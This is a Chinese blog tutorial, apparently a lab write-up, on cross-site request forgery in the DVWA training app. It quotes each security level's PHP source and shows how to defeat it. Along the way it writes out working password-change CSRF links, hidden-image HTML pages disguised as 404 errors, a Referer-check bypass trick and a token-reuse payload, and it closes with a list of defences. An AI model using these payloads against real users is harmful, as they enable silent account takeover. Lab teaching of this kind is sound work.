
跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
0x01 攻击细节
跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求是发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
0x02 栗子
假如一家银行用以运行转账操作的URL地址如下:
https://bank.example.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
那么,一个恶意攻击者可以在另一个网站上放置如下代码: <img src="https://bank.example.com/withdraw?account=Alice&amount=1000&for=Badman" />
如果有账户名为Alice的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失1000资金。
那么它为什么访问了恶意站点就损失了1000资金?
以上摘自维基百科
带着这个好奇,我们来学习DVWA靶场-CSRF模块
0x03 Low 级
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// 获取用户输入的新密码
$pass_new = $_GET[ 'password_new' ];
// 重复获取用户的新密码
$pass_conf = $_GET[ 'password_conf' ];
// 判断两次密码输入的是否一致
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 将新密码经过MD5加密之后赋值给变量$pass_new
$pass_new = md5( $pass_new );
//执行sql语句 更新密码
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
// 将sql语句查询结果返回给$result
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// 密码更改成功说的话
echo "<pre>Password Changed.</pre>";
}
else {
// 两次密码输出不一致的时候说的话
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?
通过后端源码我们看到并没有进行token验证和验证旧密码的代码,以及防止CSRF的措施,由此可以判断可能存在CSRF攻击。
我们再分析一下前端页面的表单,发现并没有token值和验证旧密码的代码,并且是一个以GET方法发送的

登录成功之后,只需要输两次新密码之后点击submit就可以完成密码的修改。
很明显之类,没有验证旧密码和验证身份等机制,于是我们可以尝试注册目标网站注册一个用户,然后尝试更改密码。获取提交请求的URL
刚刚我们观察到这个页面是使用GET方法进行提交的 ,那么提交数据之后,数据会在URL中显示。
http://172.16.1.101/dvwa/vulnerabilities/csrf/?password_new=Admin123&password_conf=Admin123&Change=Change#
我们点change之后,观察url中的password_nwe参数对应的值为Admin123和password_conf参数对应的值为Admin123。
这里两处的Admin123为我们输入的新密码
那么我们将这个URL中的两处Admin123处替换为123456。然后发送给注册该网站的用户会怎么样?
答案是: 点击链接的用户密码被修改。

将密码修改为123456之后的payload:
http://172.16.1.101/dvwa/vulnerabilities/csrf/?password_new=Admin123&password_conf=Admin123&Change=Change#
我们将此链接经过短链接处理会发送给用户(因为原本的连接太明显了)

短连接生成方式 自行百度
生成短链接之后,我们模拟用户点击。观察账号密码变化。我们现在的经过修改之后是Admin123。当我们点击恶意链接之后 密码是否会发生变化呢?
点击恶意链接之后被跳转到了靶机首页。此时页面提示password Change

注意:用户必须在登录目标站点的情况下,该攻击才会有效。
此时我们退出当前页面,尝试登录到此网站

发现Login failed,此时密码就被更改为123456,我们尝试使用123456登录发现登录成功。

当然CSRF(跨站脚本攻击)在一定的条件下才能成功。我们在后面进行总结。
0x04 Medium 级别
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// 查找REFERER字段在host出现的位置 如果没有则不会执行修改密码操作
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
//获取用户输入
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// 执行更新密码的sql语句
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// 更新成功说的话
echo "<pre>Password Changed.</pre>";
}
else {
// 两次密码输入不一致说的话
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// REFERER和SERVER_NAME字段一致执行的语句
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看到,Medium级别的代码检查了变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是127.0.0.1)希望通过这种机制抵御CSRF攻击。(防止了从不知名页面的跳转)。
构造我们的实验payload: 名称为payload.htmls
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<img src="http://192.168.43.171/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" alt="" style="display: none;">
<h1>404</h1>
<p>not Found</p>
</body>
</html>
以下是我们通过网站修改密码拦截的数据包,我们发现它与Low级别多了一个REFERER。注意观察它的Referer字段

下面使我们通过payload.html跳转发出的请求包

他们最大的不同就是Referer字段的不同。后端也是判断这里来决定这个请求是否来自DVWA的网站。判断点为:只要用户发出修改密码请求的Referer字段包含DVWA服务器的IP地址,我们就可以让它成功的修改密码。
优化我们的payload:
将我们的payload.html文件重命名为DVWA的服务器IP地址
格式:DVWA服务器地址+.html
此时,当目标再次访问我们的192.168.43.171.html。密码就被成功的修改为123456
Referer字段解析:http://攻击者IP/DVWA服务器IP.html

因为我们的Referer字段包含了DVWA服务器的IP地址。即192.168.43.171.html,于是DVWA服务器判断用户的这个网址是它从它哪里点击跳转过来的,认为它是一个安全的链接。于是悄无声息的修改了用户的密码。
0x05 Hight级别
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// 检查用户的token值
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 获取用户输入
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// 判断两次密码是否输入一致
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// 执行更新密码的sql语句
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// 更新成功说的话
echo "<pre>Password Changed.</pre>";
}
else {
// 两次密码输入不一致说的话
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// 创建这个token
generateSessionToken();
?>
0x05.1 关于token
关于token相关的学术,我们这里就不介绍了。我在DVWA-BruteForce模块中有讲到过。
0x05.2 观察发出的请求
以下为我们在DVWA网站上修改密码发出的请求,发现多了一个user_token,而我们想要成功的修改密码,我们就要带着这个token去找后端验证身份(我们前端的token值后端传进来的。它也会有一个同我们的一样的token值),如果我们的token和后端的不一致,则密码不会被更改。

我们将token值加入到我们的payload当中:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<img src="http://192.168.43.171/dvwa/vulnerabilities/csrf/?password_new=Admin123&password_conf=Admin123&Change=Change&user_token=d3ee4b7819f776e2cccd54aadeecd7e7" alt="" style="display: none;">
<h1>404</h1>
<p>not Found</p>
</body>
</html
我们的token值是在页面中获取的,只要我们不刷新页面,这个token值都是有一定时间有效的
token值在更新密码表单处右键检查获取 即下面这个页面

使用上面的payload,密码则会被成功修改。
0x06 Impossible级别
引用了旧密码认证,只有在校验旧密码成功后,才会修改密码

<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// 引用PDO技术防止sql注入
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),前提是协议传输没有问题,攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。
PHP 数据对象(PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。实现 PDO 接口的每个数据库驱动可以公开具体数据库的特性作为标准扩展功能。也就是采用了预处理的方式将运行语句与参数隔离:
0x07 总结
CSRF的防护:
- 引用旧密码认证
- 在请求地址中添加 token 并验证
- 验证 HTTP Referer 字段
- 在 HTTP 头中自定义属性并验证
CSRF的危害
- 注销或登录用户
- 获取用户的隐私信息
- 配合其他漏洞攻击
CSRF攻击的成功要有一定的运气,被攻击者需要在登录某个网站的情况下,点击某个网站的恶意链接才会攻击成功。
本文作者为blog,转载请注明。